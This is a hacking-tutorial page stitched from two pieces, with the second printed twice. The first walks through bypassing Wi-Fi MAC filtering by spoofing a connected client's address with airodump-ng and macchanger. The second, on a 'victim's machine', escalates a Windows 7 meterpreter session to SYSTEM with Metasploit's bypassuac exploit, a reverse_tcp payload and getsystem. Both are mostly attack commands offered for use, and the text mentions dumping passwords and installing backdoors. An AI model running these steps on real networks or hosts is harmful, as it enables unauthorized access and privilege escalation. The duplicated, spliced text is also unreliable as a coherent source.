Bypass MAC filtering on wireless networks

In this tutorial we will be looking at how to bypass MAC filtering on a wireless network. MAC filtering, or MAC white- or blacklisting, is often used as a security measure to prevent non whitelisted MAC addresses from connecting to the wireless network. MAC Address stands for media access control address and is a unique identifier assigned to your network interface. With MAC filtering you can specify MAC addresses which are allowed or not allowed to connect to the network. For many occasions this might be sufficient as a security measure which makes it a little harder to use the network when the password is known. As a security measure to protect company networks and data or to prevent networks from being hacked over WiFi, MAC filtering is pretty useless and easy to bypass which we’re about to show you in this hacking tutorial.

In this tutorial we will be bypass MAC filtering on a TP link WR-841N router by spoofing the MAC address of a connected client. The connected client’s MAC address is whitelisted, otherwise it would not have been able to connect to the wireless network. We will put our wifi adapter in monitoring mode and retrieve the MAC address of connected clients with Airodump-NG on Kali Linux. Then we will be using the Macchanger tool to spoof our MAC address, bypass MAC filtering and connect to the wireless network. Hacking the WiFi network password is outside the scope of this tutorial. You can have a look at the following WiFi hacking tutorials and tools to learn how to retrieve the password (and prevent this from happening):

MAC filtering settings

First we will be configuring the MAC filtering functionality in the router settings. We will be adding one client to the whitelist which will be our connected client:

Let’s try to connect from another client in Kali Linux 2.0:

Even if we use the right password is does not allow us to connect to the wireless network. We end up in an endless loop without authentication. This tells us the MAC filtering is active and working like a charm.

Bypass MAC Filtering

First we will have to put our WiFi adapter in monitoring mode using Airmon-ng and kill all the processes Kali Linux is complaining about:

airmon-ng start wlan0

kill [pid]

Then we launch Airodump-ng to locate the wireless network and the connected client(s) using the following command:

airodump-ng –c [channel]–bssid [target router MAC Address]–i wlan0mon

Airodump-ng now shows us a list of all connected clients at the bottom of the terminal. The second column lists the MAC Addresses of the connected client which we will be spoofing in order to authenticate with the wireless network.

Spoofing the MAC Address with Macchanger

Now that we know a MAC address that is whitelisted in the TP Link router settings we can use it to spoof our own MAC address in order to authenticate with the network. Let’s spoof the MAC address of your wireless adapter but first we take need to take down the monitoring interface wlan0mon and the wlan0 interface in order to change the MAC address. We can do this by using the following command:

Airmon-ng stop wlan0mon

Now we take down the wireless interface who’s MAC address we want to spoof with the following command:

ifconfig wlan0 down

Now we can use Macchanger to change the MAC address:

macchanger -m [New MAC Address] wlan0

And bring it up again:

ifconfig wlan0 up

Now that we have changed the MAC address of our wireless adapter to a whitelisted MAC address in the router we can try to authenticate with the network and see if we’re able to connect:

As you can see we have managed to connect to the wireless network using a spoofed MAC address of a connected client. This tutorial shows us that it was extremely easy to bypass MAC filtering on a wireless network and that MAC filtering in general is useless to protect your network from hackers.

Bypass UAC and get admin privilege in windows 7 using metasploit

Sometimes when you trying to exploit a security hole and success gain an access to the target system, usually you only act as logged user and it’s not a local system account. In this tips and trick there’s a simple step to escalate your privilege when you’re inside meterpreter.

This picture below taken when hacked successfully gain an access using  Payload create by me.

#meterpreter  >  getuid

When running getuid command, we know that we running as user that already logged in to the system but we didn’t act as system account. How do we do that to escalate our privilege to system account?.

The session only has limited user rights. This can severely limit actions you can perform on the remote system such as dumping passwords, manipulating the registry, installing backdoors, etc.

Fortunately, Metasploit has a Meterpreter script, ‘getsystem’, that will use a number of different techniques to attempt to gain SYSTEM level privileges on the remote system. There are also various other (local) exploits that can be used to also escalate   privileges.

#meterpreter  >  use priv

#meterpreter  >   getsystem

make use of the ‘getsystem’ command, if its not already loaded we will need to first load the ‘priv’ extension.

We will let Metasploit try to do the heavy lifting for us by running “getsystem” without any options. The script will attempt every method available to it, stopping when it succeeds.

There are situations where getsystem fails depending upon the operating system and exploiting method  we are using.

n this above image we are only getting access to normal system user  acount  with less privileges, by executing    post/windows/gather/win_privs command it will list the privilege of the current users logged in.

For this tutorial we are exploiting windows 7 as a victim’s machine and by executing a sysinfo command in your meterpeter shell you will get informations about your exploiting system.

#meterpreter  >   sysinfo

#meterpreter  >     run  post/windows/gather/win_privs

If   the  getsystem  code detects that it is running on a Windows 7 with UAC disabled and it is running as local admin it will run getsystem and it will use the read registry method.

When we executing  getsystem  command  it will fail because the  current logged user have not enough privilege to get admin roles and particularly in windows 7 UAC is defaulty enabled.

So we first try to bypass UAC enabled in windows  7, Luckily we have windows UAC bypass exploit in metasploit.

Meterpreter on Kali no longer recognized “run bypassuac” instead  we had to use exploit/windows/local/bypassuac.

BypassUAC   exploit  that allows you to bypass Windows UAC in Windows Vista and Windows 7 both on x86 and x64 operating systems. This issue has still not been patched to-date and can still be exploited on the most recent operating systems.

For that  we need to background the session, and manually  try bypassuac exploit and load the session recently backgrounded and then exploit and execute  getsystem to get admin privilege.

#meterpreter  > background

#meterpreter  >   search uac

#meterpreter  >   use exploit/windows/local/bypassuac

I exploited this machine with the payload i created before,  so try the  method you used  for exploiting the machine before.

#meterpreter  >   set payload windows/meterpreter/reverse_tcp

#meterpreter  > set   LHOST 192.168.31.20

#meterpreter  > set   LPORT  8080

#meterpreter  >   set   SESSION 1

#meterpreter  >    exploit

After getting acess try getsystem command.

#meterpreter  >  getsystem

Done!

Bypass UAC and get admin privilege in windows 7 using metasploit

Sometimes when you trying to exploit a security hole and success gain an access to the target system, usually you only act as logged user and it’s not a local system account. In this tips and trick there’s a simple step to escalate your privilege when you’re inside meterpreter.

This picture below taken when hacked successfully gain an access using  Payload create by me.

#meterpreter  >  getuid

When running getuid command, we know that we running as user that already logged in to the system but we didn’t act as system account. How do we do that to escalate our privilege to system account?.

The session only has limited user rights. This can severely limit actions you can perform on the remote system such as dumping passwords, manipulating the registry, installing backdoors, etc.

Fortunately, Metasploit has a Meterpreter script, ‘getsystem’, that will use a number of different techniques to attempt to gain SYSTEM level privileges on the remote system. There are also various other (local) exploits that can be used to also escalate   privileges.

#meterpreter  >  use priv

#meterpreter  >   getsystem

make use of the ‘getsystem’ command, if its not already loaded we will need to first load the ‘priv’ extension.

We will let Metasploit try to do the heavy lifting for us by running “getsystem” without any options. The script will attempt every method available to it, stopping when it succeeds.

There are situations where getsystem fails depending upon the operating system and exploiting method  we are using.

n this above image we are only getting access to normal system user  acount  with less privileges, by executing    post/windows/gather/win_privs command it will list the privilege of the current users logged in.

For this tutorial we are exploiting windows 7 as a victim’s machine and by executing a sysinfo command in your meterpeter shell you will get informations about your exploiting system.

#meterpreter  >   sysinfo

#meterpreter  >     run  post/windows/gather/win_privs

If   the  getsystem  code detects that it is running on a Windows 7 with UAC disabled and it is running as local admin it will run getsystem and it will use the read registry method.

When we executing  getsystem  command  it will fail because the  current logged user have not enough privilege to get admin roles and particularly in windows 7 UAC is defaulty enabled.

So we first try to bypass UAC enabled in windows  7, Luckily we have windows UAC bypass exploit in metasploit.

Meterpreter on Kali no longer recognized “run bypassuac” instead  we had to use exploit/windows/local/bypassuac.

BypassUAC   exploit  that allows you to bypass Windows UAC in Windows Vista and Windows 7 both on x86 and x64 operating systems. This issue has still not been patched to-date and can still be exploited on the most recent operating systems.

For that  we need to background the session, and manually  try bypassuac exploit and load the session recently backgrounded and then exploit and execute  getsystem to get admin privilege.

#meterpreter  > background

#meterpreter  >   search uac

#meterpreter  >   use exploit/windows/local/bypassuac

I exploited this machine with the payload i created before,  so try the  method you used  for exploiting the machine before.

#meterpreter  >   set payload windows/meterpreter/reverse_tcp

#meterpreter  > set   LHOST 192.168.31.20

#meterpreter  > set   LPORT  8080

#meterpreter  >   set   SESSION 1

#meterpreter  >    exploit

After getting acess try getsystem command.

#meterpreter  >  getsystem

Done!